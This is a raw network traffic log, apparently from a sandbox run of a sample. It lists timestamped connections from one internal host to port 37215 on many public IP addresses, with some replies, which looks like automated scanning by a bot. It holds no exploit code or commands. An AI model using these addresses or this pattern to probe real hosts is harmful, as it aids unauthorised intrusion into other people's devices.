Aug 1, 2024 15:35:02.516345978 CEST	52074	37215	192.168.2.14	41.176.203.250
Aug 1, 2024 15:35:02.516374111 CEST	51162	37215	192.168.2.14	41.225.20.129
Aug 1, 2024 15:35:02.516388893 CEST	34002	37215	192.168.2.14	41.212.19.162
Aug 1, 2024 15:35:02.516406059 CEST	33506	37215	192.168.2.14	41.201.70.233
Aug 1, 2024 15:35:02.516432047 CEST	39212	37215	192.168.2.14	219.216.78.36
Aug 1, 2024 15:35:02.516448021 CEST	54426	37215	192.168.2.14	41.215.173.75
Aug 1, 2024 15:35:02.516464949 CEST	39808	37215	192.168.2.14	157.69.202.15
Aug 1, 2024 15:35:02.516490936 CEST	35570	37215	192.168.2.14	41.95.152.174
Aug 1, 2024 15:35:02.516494036 CEST	37064	37215	192.168.2.14	197.157.64.128
Aug 1, 2024 15:35:02.516511917 CEST	53072	37215	192.168.2.14	157.119.255.44
Aug 1, 2024 15:35:02.516529083 CEST	60784	37215	192.168.2.14	98.172.95.185
Aug 1, 2024 15:35:02.516544104 CEST	33598	37215	192.168.2.14	41.10.20.35
Aug 1, 2024 15:35:02.516547918 CEST	37215	52014	197.145.27.250	192.168.2.14
Aug 1, 2024 15:35:02.516571045 CEST	47106	37215	192.168.2.14	157.230.8.52
Aug 1, 2024 15:35:02.516577959 CEST	52014	37215	192.168.2.14	197.145.27.250
Aug 1, 2024 15:35:02.516599894 CEST	37678	37215	192.168.2.14	157.174.67.71
Aug 1, 2024 15:35:02.516623974 CEST	35808	37215	192.168.2.14	157.207.115.228
Aug 1, 2024 15:35:02.516637087 CEST	37894	37215	192.168.2.14	157.250.141.243
Aug 1, 2024 15:35:02.516659021 CEST	54422	37215	192.168.2.14	197.149.169.45
Aug 1, 2024 15:35:02.516670942 CEST	60252	37215	192.168.2.14	157.20.165.249
Aug 1, 2024 15:35:02.516684055 CEST	38818	37215	192.168.2.14	41.157.27.124
Aug 1, 2024 15:35:02.516709089 CEST	34604	37215	192.168.2.14	213.248.5.88
Aug 1, 2024 15:35:02.516760111 CEST	54932	37215	192.168.2.14	41.159.59.161
Aug 1, 2024 15:35:02.516762018 CEST	52024	37215	192.168.2.14	157.78.238.12
Aug 1, 2024 15:35:02.516766071 CEST	48212	37215	192.168.2.14	197.136.227.39
Aug 1, 2024 15:35:02.516778946 CEST	43186	37215	192.168.2.14	197.90.182.70
Aug 1, 2024 15:35:02.516807079 CEST	33994	37215	192.168.2.14	41.70.244.177
Aug 1, 2024 15:35:02.516818047 CEST	40190	37215	192.168.2.14	157.53.248.63
Aug 1, 2024 15:35:02.516846895 CEST	43312	37215	192.168.2.14	102.130.139.6
Aug 1, 2024 15:35:02.516876936 CEST	59074	37215	192.168.2.14	106.226.177.36
Aug 1, 2024 15:35:02.516879082 CEST	52984	37215	192.168.2.14	41.82.31.72
Aug 1, 2024 15:35:02.516894102 CEST	54620	37215	192.168.2.14	197.184.45.189
Aug 1, 2024 15:35:02.516911030 CEST	48334	37215	192.168.2.14	58.213.26.70
Aug 1, 2024 15:35:02.516935110 CEST	43246	37215	192.168.2.14	157.94.139.23
Aug 1, 2024 15:35:02.516949892 CEST	59814	37215	192.168.2.14	197.163.210.210
Aug 1, 2024 15:35:02.516964912 CEST	59918	37215	192.168.2.14	197.158.238.106
Aug 1, 2024 15:35:02.516982079 CEST	59470	37215	192.168.2.14	41.226.129.177
Aug 1, 2024 15:35:02.516995907 CEST	35348	37215	192.168.2.14	41.245.193.204
Aug 1, 2024 15:35:02.517024040 CEST	38834	37215	192.168.2.14	41.80.251.74
Aug 1, 2024 15:35:02.517041922 CEST	50248	37215	192.168.2.14	41.101.236.196
Aug 1, 2024 15:35:02.517060995 CEST	57074	37215	192.168.2.14	157.102.136.33
Aug 1, 2024 15:35:02.517079115 CEST	48280	37215	192.168.2.14	157.92.249.20
Aug 1, 2024 15:35:02.517101049 CEST	56248	37215	192.168.2.14	41.61.225.250
Aug 1, 2024 15:35:02.517116070 CEST	45580	37215	192.168.2.14	75.19.192.99
Aug 1, 2024 15:35:02.517127991 CEST	36072	37215	192.168.2.14	145.109.38.136
Aug 1, 2024 15:35:02.517146111 CEST	50120	37215	192.168.2.14	197.119.145.250
Aug 1, 2024 15:35:02.517169952 CEST	44810	37215	192.168.2.14	41.134.240.113
Aug 1, 2024 15:35:02.517193079 CEST	57194	37215	192.168.2.14	157.39.176.151
Aug 1, 2024 15:35:02.517201900 CEST	49954	37215	192.168.2.14	119.115.156.253
Aug 1, 2024 15:35:02.517227888 CEST	51154	37215	192.168.2.14	197.224.16.123
Aug 1, 2024 15:35:02.517244101 CEST	44572	37215	192.168.2.14	41.63.220.158
Aug 1, 2024 15:35:02.517260075 CEST	49568	37215	192.168.2.14	197.71.188.245
Aug 1, 2024 15:35:02.517281055 CEST	52368	37215	192.168.2.14	157.185.77.161
Aug 1, 2024 15:35:02.517297029 CEST	40742	37215	192.168.2.14	41.171.241.65
Aug 1, 2024 15:35:02.517318010 CEST	59818	37215	192.168.2.14	152.146.93.198
Aug 1, 2024 15:35:02.517342091 CEST	33788	37215	192.168.2.14	131.90.241.26
Aug 1, 2024 15:35:02.517369032 CEST	56964	37215	192.168.2.14	197.245.83.54
Aug 1, 2024 15:35:02.517388105 CEST	52594	37215	192.168.2.14	57.16.56.78
Aug 1, 2024 15:35:02.517398119 CEST	53060	37215	192.168.2.14	41.65.48.115
Aug 1, 2024 15:35:02.517404079 CEST	37215	58878	157.58.83.213	192.168.2.14
Aug 1, 2024 15:35:02.517416000 CEST	37215	53050	157.191.249.159	192.168.2.14
Aug 1, 2024 15:35:02.517420053 CEST	60652	37215	192.168.2.14	223.202.37.96
Aug 1, 2024 15:35:02.517425060 CEST	37215	49370	156.162.0.16	192.168.2.14
Aug 1, 2024 15:35:02.517426968 CEST	55406	37215	192.168.2.14	41.147.126.145
Aug 1, 2024 15:35:02.517445087 CEST	58878	37215	192.168.2.14	157.58.83.213
Aug 1, 2024 15:35:02.517458916 CEST	35558	37215	192.168.2.14	131.97.108.101
Aug 1, 2024 15:35:02.517458916 CEST	49370	37215	192.168.2.14	156.162.0.16
Aug 1, 2024 15:35:02.517479897 CEST	50834	37215	192.168.2.14	197.100.93.162
Aug 1, 2024 15:35:02.517498970 CEST	47182	37215	192.168.2.14	197.183.175.10
Aug 1, 2024 15:35:02.517508984 CEST	37215	45038	41.116.1.106	192.168.2.14
Aug 1, 2024 15:35:02.517515898 CEST	33334	37215	192.168.2.14	160.68.36.179
Aug 1, 2024 15:35:02.517520905 CEST	37215	33916	157.223.194.94	192.168.2.14
Aug 1, 2024 15:35:02.517532110 CEST	37215	58072	157.180.107.56	192.168.2.14
Aug 1, 2024 15:35:02.517535925 CEST	34782	37215	192.168.2.14	41.38.132.228
Aug 1, 2024 15:35:02.517545938 CEST	45038	37215	192.168.2.14	41.116.1.106
Aug 1, 2024 15:35:02.517570019 CEST	42662	37215	192.168.2.14	165.37.23.157
Aug 1, 2024 15:35:02.517589092 CEST	44914	37215	192.168.2.14	27.43.102.3
Aug 1, 2024 15:35:02.517606974 CEST	57750	37215	192.168.2.14	148.206.254.144
Aug 1, 2024 15:35:02.517628908 CEST	35584	37215	192.168.2.14	213.90.71.217
Aug 1, 2024 15:35:02.517640114 CEST	57798	37215	192.168.2.14	157.89.66.109
Aug 1, 2024 15:35:02.517663956 CEST	42790	37215	192.168.2.14	157.189.50.111
Aug 1, 2024 15:35:02.517680883 CEST	38384	37215	192.168.2.14	157.172.52.250
Aug 1, 2024 15:35:02.517699957 CEST	37215	53860	157.39.249.27	192.168.2.14
Aug 1, 2024 15:35:02.517704964 CEST	41504	37215	192.168.2.14	41.168.71.95
Aug 1, 2024 15:35:02.517710924 CEST	37215	32808	47.254.221.229	192.168.2.14
Aug 1, 2024 15:35:02.517724991 CEST	44404	37215	192.168.2.14	157.158.60.173
Aug 1, 2024 15:35:02.517733097 CEST	53860	37215	192.168.2.14	157.39.249.27
Aug 1, 2024 15:35:02.517755985 CEST	45808	37215	192.168.2.14	186.29.197.200
Aug 1, 2024 15:35:02.517782927 CEST	43926	37215	192.168.2.14	197.18.94.122
Aug 1, 2024 15:35:02.517802954 CEST	51604	37215	192.168.2.14	197.16.25.70
Aug 1, 2024 15:35:02.517816067 CEST	37042	37215	192.168.2.14	157.70.5.235
Aug 1, 2024 15:35:02.518107891 CEST	32784	37215	192.168.2.14	157.3.170.120
Aug 1, 2024 15:35:02.518402100 CEST	37215	43110	41.0.232.200	192.168.2.14
Aug 1, 2024 15:35:02.518414974 CEST	37215	48152	168.169.182.39	192.168.2.14
Aug 1, 2024 15:35:02.518425941 CEST	37215	55488	157.217.52.236	192.168.2.14
Aug 1, 2024 15:35:02.518435955 CEST	37215	36380	211.252.170.13	192.168.2.14
Aug 1, 2024 15:35:02.518450022 CEST	43110	37215	192.168.2.14	41.0.232.200
Aug 1, 2024 15:35:02.518460989 CEST	55488	37215	192.168.2.14	157.217.52.236
Aug 1, 2024 15:35:02.518610001 CEST	32808	37215	192.168.2.14	143.120.75.69
Aug 1, 2024 15:35:02.518898010 CEST	60486	37215	192.168.2.14	157.77.131.13
Aug 1, 2024 15:35:02.518902063 CEST	60682	37215	192.168.2.14	41.144.164.184
Aug 1, 2024 15:35:02.518902063 CEST	39956	37215	192.168.2.14	197.238.157.235
Aug 1, 2024 15:35:02.518912077 CEST	48266	37215	192.168.2.14	197.161.10.206
Aug 1, 2024 15:35:02.518929958 CEST	50496	37215	192.168.2.14	157.23.15.161
Aug 1, 2024 15:35:02.518929958 CEST	54586	37215	192.168.2.14	41.1.81.129
Aug 1, 2024 15:35:02.518945932 CEST	43288	37215	192.168.2.14	41.159.247.172
Aug 1, 2024 15:35:02.518945932 CEST	45494	37215	192.168.2.14	41.18.179.64
Aug 1, 2024 15:35:02.518955946 CEST	38482	37215	192.168.2.14	64.232.199.23
Aug 1, 2024 15:35:02.518959045 CEST	44052	37215	192.168.2.14	35.89.64.75
Aug 1, 2024 15:35:02.518970013 CEST	45526	37215	192.168.2.14	41.57.217.6
Aug 1, 2024 15:35:02.518979073 CEST	58600	37215	192.168.2.14	197.20.235.245
Aug 1, 2024 15:35:02.518985987 CEST	42198	37215	192.168.2.14	116.149.96.0
Aug 1, 2024 15:35:02.519000053 CEST	51454	37215	192.168.2.14	41.240.121.125
Aug 1, 2024 15:35:02.519006968 CEST	57482	37215	192.168.2.14	197.239.136.142
Aug 1, 2024 15:35:02.519016027 CEST	43568	37215	192.168.2.14	107.49.33.59
Aug 1, 2024 15:35:02.519017935 CEST	40078	37215	192.168.2.14	41.231.13.235
Aug 1, 2024 15:35:02.519017935 CEST	56964	37215	192.168.2.14	197.91.203.79
Aug 1, 2024 15:35:02.519032001 CEST	59326	37215	192.168.2.14	157.136.225.164
Aug 1, 2024 15:35:02.519033909 CEST	58534	37215	192.168.2.14	157.130.206.118
Aug 1, 2024 15:35:02.519047022 CEST	44898	37215	192.168.2.14	41.51.28.135
Aug 1, 2024 15:35:02.519052982 CEST	47644	37215	192.168.2.14	197.52.235.43
Aug 1, 2024 15:35:02.519062042 CEST	43764	37215	192.168.2.14	41.30.96.86
Aug 1, 2024 15:35:02.519062042 CEST	43976	37215	192.168.2.14	96.112.221.147
Aug 1, 2024 15:35:02.519078016 CEST	56920	37215	192.168.2.14	202.207.227.178
Aug 1, 2024 15:35:02.519081116 CEST	55432	37215	192.168.2.14	207.174.238.65
Aug 1, 2024 15:35:02.519088030 CEST	49242	37215	192.168.2.14	41.115.43.13
Aug 1, 2024 15:35:02.519088984 CEST	60372	37215	192.168.2.14	157.10.65.187
Aug 1, 2024 15:35:02.519102097 CEST	48390	37215	192.168.2.14	41.196.91.169
Aug 1, 2024 15:35:02.519104004 CEST	60100	37215	192.168.2.14	157.43.138.151
Aug 1, 2024 15:35:02.519109964 CEST	40436	37215	192.168.2.14	41.44.101.93
Aug 1, 2024 15:35:02.519119024 CEST	53714	37215	192.168.2.14	157.22.175.91
Aug 1, 2024 15:35:02.519119024 CEST	51544	37215	192.168.2.14	157.52.213.73
Aug 1, 2024 15:35:02.519135952 CEST	60072	37215	192.168.2.14	197.220.9.78
Aug 1, 2024 15:35:02.519135952 CEST	55946	37215	192.168.2.14	51.57.195.108
Aug 1, 2024 15:35:02.519153118 CEST	42950	37215	192.168.2.14	157.134.206.212
Aug 1, 2024 15:35:02.519155979 CEST	54230	37215	192.168.2.14	157.192.203.125
Aug 1, 2024 15:35:02.519167900 CEST	38094	37215	192.168.2.14	197.29.157.243
Aug 1, 2024 15:35:02.519170046 CEST	39514	37215	192.168.2.14	41.148.54.40
Aug 1, 2024 15:35:02.519180059 CEST	52074	37215	192.168.2.14	41.176.203.250
Aug 1, 2024 15:35:02.519184113 CEST	51162	37215	192.168.2.14	41.225.20.129
Aug 1, 2024 15:35:02.519190073 CEST	34002	37215	192.168.2.14	41.212.19.162
Aug 1, 2024 15:35:02.519197941 CEST	39212	37215	192.168.2.14	219.216.78.36
Aug 1, 2024 15:35:02.519198895 CEST	33506	37215	192.168.2.14	41.201.70.233
Aug 1, 2024 15:35:02.519198895 CEST	54426	37215	192.168.2.14	41.215.173.75
Aug 1, 2024 15:35:02.519217014 CEST	39808	37215	192.168.2.14	157.69.202.15
Aug 1, 2024 15:35:02.519220114 CEST	35570	37215	192.168.2.14	41.95.152.174
Aug 1, 2024 15:35:02.519223928 CEST	37064	37215	192.168.2.14	197.157.64.128
Aug 1, 2024 15:35:02.519232035 CEST	60784	37215	192.168.2.14	98.172.95.185
Aug 1, 2024 15:35:02.519236088 CEST	53072	37215	192.168.2.14	157.119.255.44
Aug 1, 2024 15:35:02.519236088 CEST	33598	37215	192.168.2.14	41.10.20.35
Aug 1, 2024 15:35:02.519253969 CEST	47106	37215	192.168.2.14	157.230.8.52
Aug 1, 2024 15:35:02.519256115 CEST	37678	37215	192.168.2.14	157.174.67.71
Aug 1, 2024 15:35:02.519264936 CEST	35808	37215	192.168.2.14	157.207.115.228
Aug 1, 2024 15:35:02.519268990 CEST	37894	37215	192.168.2.14	157.250.141.243
Aug 1, 2024 15:35:02.519273043 CEST	54422	37215	192.168.2.14	197.149.169.45
Aug 1, 2024 15:35:02.519275904 CEST	60252	37215	192.168.2.14	157.20.165.249
Aug 1, 2024 15:35:02.519278049 CEST	38818	37215	192.168.2.14	41.157.27.124
Aug 1, 2024 15:35:02.519289970 CEST	34604	37215	192.168.2.14	213.248.5.88
Aug 1, 2024 15:35:02.519294024 CEST	52024	37215	192.168.2.14	157.78.238.12
Aug 1, 2024 15:35:02.519304991 CEST	54932	37215	192.168.2.14	41.159.59.161
Aug 1, 2024 15:35:02.519310951 CEST	48212	37215	192.168.2.14	197.136.227.39
Aug 1, 2024 15:35:02.519311905 CEST	43186	37215	192.168.2.14	197.90.182.70
Aug 1, 2024 15:35:02.519325972 CEST	33994	37215	192.168.2.14	41.70.244.177
Aug 1, 2024 15:35:02.519330025 CEST	40190	37215	192.168.2.14	157.53.248.63
Aug 1, 2024 15:35:02.519342899 CEST	43312	37215	192.168.2.14	102.130.139.6
Aug 1, 2024 15:35:02.519347906 CEST	52984	37215	192.168.2.14	41.82.31.72
Aug 1, 2024 15:35:02.519359112 CEST	59074	37215	192.168.2.14	106.226.177.36
Aug 1, 2024 15:35:02.519360065 CEST	54620	37215	192.168.2.14	197.184.45.189
Aug 1, 2024 15:35:02.519367933 CEST	48334	37215	192.168.2.14	58.213.26.70
Aug 1, 2024 15:35:02.519375086 CEST	43246	37215	192.168.2.14	157.94.139.23
Aug 1, 2024 15:35:02.519375086 CEST	59814	37215	192.168.2.14	197.163.210.210
Aug 1, 2024 15:35:02.519390106 CEST	59918	37215	192.168.2.14	197.158.238.106
Aug 1, 2024 15:35:02.519395113 CEST	59470	37215	192.168.2.14	41.226.129.177
Aug 1, 2024 15:35:02.519395113 CEST	35348	37215	192.168.2.14	41.245.193.204
Aug 1, 2024 15:35:02.519408941 CEST	50248	37215	192.168.2.14	41.101.236.196
Aug 1, 2024 15:35:02.519412041 CEST	38834	37215	192.168.2.14	41.80.251.74
Aug 1, 2024 15:35:02.519426107 CEST	57074	37215	192.168.2.14	157.102.136.33
Aug 1, 2024 15:35:02.519428015 CEST	48280	37215	192.168.2.14	157.92.249.20
Aug 1, 2024 15:35:02.519440889 CEST	56248	37215	192.168.2.14	41.61.225.250
Aug 1, 2024 15:35:02.519443035 CEST	45580	37215	192.168.2.14	75.19.192.99
Aug 1, 2024 15:35:02.519450903 CEST	36072	37215	192.168.2.14	145.109.38.136
Aug 1, 2024 15:35:02.519455910 CEST	50120	37215	192.168.2.14	197.119.145.250
Aug 1, 2024 15:35:02.519468069 CEST	44810	37215	192.168.2.14	41.134.240.113
Aug 1, 2024 15:35:02.519470930 CEST	57194	37215	192.168.2.14	157.39.176.151
Aug 1, 2024 15:35:02.519483089 CEST	49954	37215	192.168.2.14	119.115.156.253
Aug 1, 2024 15:35:02.519484043 CEST	51154	37215	192.168.2.14	197.224.16.123
Aug 1, 2024 15:35:02.519495010 CEST	44572	37215	192.168.2.14	41.63.220.158
Aug 1, 2024 15:35:02.519498110 CEST	49568	37215	192.168.2.14	197.71.188.245
Aug 1, 2024 15:35:02.519505024 CEST	52368	37215	192.168.2.14	157.185.77.161
Aug 1, 2024 15:35:02.519514084 CEST	40742	37215	192.168.2.14	41.171.241.65
Aug 1, 2024 15:35:02.519517899 CEST	59818	37215	192.168.2.14	152.146.93.198
Aug 1, 2024 15:35:02.519520998 CEST	33788	37215	192.168.2.14	131.90.241.26
Aug 1, 2024 15:35:02.519535065 CEST	52594	37215	192.168.2.14	57.16.56.78
Aug 1, 2024 15:35:02.519542933 CEST	56964	37215	192.168.2.14	197.245.83.54
Aug 1, 2024 15:35:02.519547939 CEST	53060	37215	192.168.2.14	41.65.48.115
Aug 1, 2024 15:35:02.519556046 CEST	60652	37215	192.168.2.14	223.202.37.96
Aug 1, 2024 15:35:02.519568920 CEST	50834	37215	192.168.2.14	197.100.93.162
Aug 1, 2024 15:35:02.519570112 CEST	47182	37215	192.168.2.14	197.183.175.10
Aug 1, 2024 15:35:02.519577980 CEST	33334	37215	192.168.2.14	160.68.36.179
Aug 1, 2024 15:35:02.519584894 CEST	34782	37215	192.168.2.14	41.38.132.228
Aug 1, 2024 15:35:02.519599915 CEST	42662	37215	192.168.2.14	165.37.23.157
Aug 1, 2024 15:35:02.519599915 CEST	44914	37215	192.168.2.14	27.43.102.3
Aug 1, 2024 15:35:02.519614935 CEST	57750	37215	192.168.2.14	148.206.254.144
Aug 1, 2024 15:35:02.519618988 CEST	35584	37215	192.168.2.14	213.90.71.217
Aug 1, 2024 15:35:02.519619942 CEST	57798	37215	192.168.2.14	157.89.66.109
Aug 1, 2024 15:35:02.519639969 CEST	38384	37215	192.168.2.14	157.172.52.250
Aug 1, 2024 15:35:02.519642115 CEST	42790	37215	192.168.2.14	157.189.50.111
Aug 1, 2024 15:35:02.519651890 CEST	44404	37215	192.168.2.14	157.158.60.173
Aug 1, 2024 15:35:02.519651890 CEST	41504	37215	192.168.2.14	41.168.71.95
Aug 1, 2024 15:35:02.519664049 CEST	45808	37215	192.168.2.14	186.29.197.200
Aug 1, 2024 15:35:02.519674063 CEST	43926	37215	192.168.2.14	197.18.94.122
Aug 1, 2024 15:35:02.519686937 CEST	51604	37215	192.168.2.14	197.16.25.70
Aug 1, 2024 15:35:02.519687891 CEST	37042	37215	192.168.2.14	157.70.5.235
Aug 1, 2024 15:35:02.519928932 CEST	32874	37215	192.168.2.14	157.162.88.71
Aug 1, 2024 15:35:02.520406961 CEST	57532	37215	192.168.2.14	13.3.63.219
Aug 1, 2024 15:35:02.520425081 CEST	37215	45044	197.32.76.173	192.168.2.14
Aug 1, 2024 15:35:02.520442963 CEST	37215	57856	197.145.248.74	192.168.2.14
Aug 1, 2024 15:35:02.520453930 CEST	37215	41136	41.133.141.213	192.168.2.14
Aug 1, 2024 15:35:02.520472050 CEST	37215	33840	197.59.215.245	192.168.2.14
Aug 1, 2024 15:35:02.520490885 CEST	37215	48734	197.71.190.208	192.168.2.14
Aug 1, 2024 15:35:02.520539045 CEST	37215	54974	157.82.9.120	192.168.2.14
Aug 1, 2024 15:35:02.520550013 CEST	37215	35786	197.52.194.239	192.168.2.14
Aug 1, 2024 15:35:02.520570993 CEST	37215	37202	129.79.100.174	192.168.2.14
Aug 1, 2024 15:35:02.520581961 CEST	37215	56134	157.46.221.171	192.168.2.14
Aug 1, 2024 15:35:02.520593882 CEST	37215	56202	197.63.101.157	192.168.2.14
Aug 1, 2024 15:35:02.520603895 CEST	37215	52114	112.229.192.172	192.168.2.14
Aug 1, 2024 15:35:02.520610094 CEST	56134	37215	192.168.2.14	157.46.221.171
Aug 1, 2024 15:35:02.520616055 CEST	37215	58972	157.145.72.30	192.168.2.14
Aug 1, 2024 15:35:02.520627022 CEST	37215	56934	122.99.48.7	192.168.2.14
Aug 1, 2024 15:35:02.520648003 CEST	58972	37215	192.168.2.14	157.145.72.30
Aug 1, 2024 15:35:02.520667076 CEST	56934	37215	192.168.2.14	122.99.48.7
Aug 1, 2024 15:35:02.520674944 CEST	37215	34134	197.248.225.227	192.168.2.14
Aug 1, 2024 15:35:02.520685911 CEST	37215	50330	41.91.246.102	192.168.2.14
Aug 1, 2024 15:35:02.520695925 CEST	37215	52066	41.141.36.255	192.168.2.14
Aug 1, 2024 15:35:02.520706892 CEST	37215	46326	181.144.127.106	192.168.2.14
Aug 1, 2024 15:35:02.520716906 CEST	34134	37215	192.168.2.14	197.248.225.227
Aug 1, 2024 15:35:02.520719051 CEST	50330	37215	192.168.2.14	41.91.246.102
Aug 1, 2024 15:35:02.520726919 CEST	37215	55406	41.147.126.145	192.168.2.14
Aug 1, 2024 15:35:02.520796061 CEST	37215	35558	131.97.108.101	192.168.2.14
Aug 1, 2024 15:35:02.520807028 CEST	37215	60486	157.77.131.13	192.168.2.14
Aug 1, 2024 15:35:02.520812035 CEST	37215	60682	41.144.164.184	192.168.2.14
Aug 1, 2024 15:35:02.520875931 CEST	37215	39956	197.238.157.235	192.168.2.14
Aug 1, 2024 15:35:02.520888090 CEST	37215	48266	197.161.10.206	192.168.2.14
Aug 1, 2024 15:35:02.520896912 CEST	37215	50496	157.23.15.161	192.168.2.14
Aug 1, 2024 15:35:02.520908117 CEST	37215	54586	41.1.81.129	192.168.2.14
Aug 1, 2024 15:35:02.520920992 CEST	37215	38670	157.34.147.49	192.168.2.14
Aug 1, 2024 15:35:02.520930052 CEST	37215	43288	41.159.247.172	192.168.2.14
Aug 1, 2024 15:35:02.520997047 CEST	37215	45494	41.18.179.64	192.168.2.14
Aug 1, 2024 15:35:02.520999908 CEST	41270	37215	192.168.2.14	157.151.216.13
Aug 1, 2024 15:35:02.521076918 CEST	37215	38482	64.232.199.23	192.168.2.14
Aug 1, 2024 15:35:02.521135092 CEST	37215	44052	35.89.64.75	192.168.2.14
Aug 1, 2024 15:35:02.521145105 CEST	37215	45278	41.168.229.204	192.168.2.14
Aug 1, 2024 15:35:02.521155119 CEST	37215	45526	41.57.217.6	192.168.2.14
Aug 1, 2024 15:35:02.521281004 CEST	37215	58600	197.20.235.245	192.168.2.14
Aug 1, 2024 15:35:02.521332979 CEST	37215	56240	209.177.156.74	192.168.2.14
Aug 1, 2024 15:35:02.521343946 CEST	37215	42198	116.149.96.0	192.168.2.14
Aug 1, 2024 15:35:02.521392107 CEST	37215	51454	41.240.121.125	192.168.2.14
Aug 1, 2024 15:35:02.521502018 CEST	37215	52234	41.114.52.253	192.168.2.14
Aug 1, 2024 15:35:02.521507978 CEST	57740	37215	192.168.2.14	157.139.110.194
Aug 1, 2024 15:35:02.521513939 CEST	37215	57482	197.239.136.142	192.168.2.14
Aug 1, 2024 15:35:02.521611929 CEST	37215	46296	41.163.84.58	192.168.2.14
Aug 1, 2024 15:35:02.521622896 CEST	37215	43568	107.49.33.59	192.168.2.14
Aug 1, 2024 15:35:02.521631956 CEST	37215	56964	197.91.203.79	192.168.2.14
Aug 1, 2024 15:35:02.521708965 CEST	37215	40078	41.231.13.235	192.168.2.14
Aug 1, 2024 15:35:02.521718979 CEST	37215	55406	41.147.126.145	192.168.2.14
Aug 1, 2024 15:35:02.521810055 CEST	37215	58534	157.130.206.118	192.168.2.14
Aug 1, 2024 15:35:02.521820068 CEST	37215	59326	157.136.225.164	192.168.2.14
Aug 1, 2024 15:35:02.521830082 CEST	37215	44898	41.51.28.135	192.168.2.14
Aug 1, 2024 15:35:02.521869898 CEST	37215	47644	197.52.235.43	192.168.2.14
Aug 1, 2024 15:35:02.521881104 CEST	37215	43764	41.30.96.86	192.168.2.14
Aug 1, 2024 15:35:02.521928072 CEST	37215	35558	131.97.108.101	192.168.2.14
Aug 1, 2024 15:35:02.522032976 CEST	37215	43976	96.112.221.147	192.168.2.14
Aug 1, 2024 15:35:02.522043943 CEST	37215	56920	202.207.227.178	192.168.2.14
Aug 1, 2024 15:35:02.522054911 CEST	37215	55432	207.174.238.65	192.168.2.14
Aug 1, 2024 15:35:02.522070885 CEST	55160	37215	192.168.2.14	157.18.186.165
Aug 1, 2024 15:35:02.522109985 CEST	37215	60372	157.10.65.187	192.168.2.14
Aug 1, 2024 15:35:02.522131920 CEST	37215	49242	41.115.43.13	192.168.2.14
Aug 1, 2024 15:35:02.522142887 CEST	37215	50834	197.100.93.162	192.168.2.14
Aug 1, 2024 15:35:02.522180080 CEST	50834	37215	192.168.2.14	197.100.93.162
Aug 1, 2024 15:35:02.522639990 CEST	43782	37215	192.168.2.14	197.188.71.86
Aug 1, 2024 15:35:02.523184061 CEST	37048	37215	192.168.2.14	80.98.120.6
Aug 1, 2024 15:35:02.523715973 CEST	35726	37215	192.168.2.14	41.216.77.130
Aug 1, 2024 15:35:02.524120092 CEST	37215	48390	41.196.91.169	192.168.2.14
Aug 1, 2024 15:35:02.524230003 CEST	37152	37215	192.168.2.14	102.18.172.64
Aug 1, 2024 15:35:02.524755001 CEST	50394	37215	192.168.2.14	197.166.2.98
Aug 1, 2024 15:35:02.525291920 CEST	59098	37215	192.168.2.14	197.58.41.197
Aug 1, 2024 15:35:02.525839090 CEST	55728	37215	192.168.2.14	41.245.108.58
Aug 1, 2024 15:35:02.525965929 CEST	37215	47182	197.183.175.10	192.168.2.14
Aug 1, 2024 15:35:02.525979042 CEST	37215	33334	160.68.36.179	192.168.2.14
Aug 1, 2024 15:35:02.526004076 CEST	47182	37215	192.168.2.14	197.183.175.10
Aug 1, 2024 15:35:02.526016951 CEST	33334	37215	192.168.2.14	160.68.36.179
Aug 1, 2024 15:35:02.526149035 CEST	37215	34782	41.38.132.228	192.168.2.14
Aug 1, 2024 15:35:02.526160955 CEST	37215	42662	165.37.23.157	192.168.2.14
Aug 1, 2024 15:35:02.526196957 CEST	34782	37215	192.168.2.14	41.38.132.228
Aug 1, 2024 15:35:02.526196003 CEST	42662	37215	192.168.2.14	165.37.23.157
Aug 1, 2024 15:35:02.526216030 CEST	37215	44914	27.43.102.3	192.168.2.14
Aug 1, 2024 15:35:02.526226997 CEST	37215	57750	148.206.254.144	192.168.2.14
Aug 1, 2024 15:35:02.526237011 CEST	37215	60100	157.43.138.151	192.168.2.14
Aug 1, 2024 15:35:02.526247978 CEST	37215	35584	213.90.71.217	192.168.2.14
Aug 1, 2024 15:35:02.526257038 CEST	44914	37215	192.168.2.14	27.43.102.3
Aug 1, 2024 15:35:02.526258945 CEST	37215	53124	45.247.103.17	192.168.2.14
Aug 1, 2024 15:35:02.526269913 CEST	57750	37215	192.168.2.14	148.206.254.144
Aug 1, 2024 15:35:02.526278973 CEST	37215	50216	41.3.105.248	192.168.2.14
Aug 1, 2024 15:35:02.526283979 CEST	35584	37215	192.168.2.14	213.90.71.217
Aug 1, 2024 15:35:02.526288986 CEST	37215	47720	41.60.234.106	192.168.2.14
Aug 1, 2024 15:35:02.526297092 CEST	37215	55252	197.85.236.187	192.168.2.14
Aug 1, 2024 15:35:02.526403904 CEST	40764	37215	192.168.2.14	197.78.47.137
Aug 1, 2024 15:35:02.526446104 CEST	37215	40436	41.44.101.93	192.168.2.14
Aug 1, 2024 15:35:02.526505947 CEST	37215	53714	157.22.175.91	192.168.2.14
Aug 1, 2024 15:35:02.526518106 CEST	37215	51544	157.52.213.73	192.168.2.14
Aug 1, 2024 15:35:02.526537895 CEST	37215	60072	197.220.9.78	192.168.2.14
Aug 1, 2024 15:35:02.526645899 CEST	37215	55946	51.57.195.108	192.168.2.14
Aug 1, 2024 15:35:02.526658058 CEST	37215	42950	157.134.206.212	192.168.2.14
Aug 1, 2024 15:35:02.526721001 CEST	37215	54230	157.192.203.125	192.168.2.14
Aug 1, 2024 15:35:02.526825905 CEST	37215	39514	41.148.54.40	192.168.2.14
Aug 1, 2024 15:35:02.526837111 CEST	37215	38094	197.29.157.243	192.168.2.14
Aug 1, 2024 15:35:02.526845932 CEST	37215	52074	41.176.203.250	192.168.2.14
Aug 1, 2024 15:35:02.526906967 CEST	52014	37215	192.168.2.14	197.145.27.250
Aug 1, 2024 15:35:02.526921988 CEST	58878	37215	192.168.2.14	157.58.83.213
Aug 1, 2024 15:35:02.526945114 CEST	49370	37215	192.168.2.14	156.162.0.16
Aug 1, 2024 15:35:02.526964903 CEST	45038	37215	192.168.2.14	41.116.1.106
Aug 1, 2024 15:35:02.526977062 CEST	53860	37215	192.168.2.14	157.39.249.27
Aug 1, 2024 15:35:02.526997089 CEST	43110	37215	192.168.2.14	41.0.232.200
Aug 1, 2024 15:35:02.527014971 CEST	55488	37215	192.168.2.14	157.217.52.236
Aug 1, 2024 15:35:02.527034044 CEST	52014	37215	192.168.2.14	197.145.27.250
Aug 1, 2024 15:35:02.527040005 CEST	58878	37215	192.168.2.14	157.58.83.213
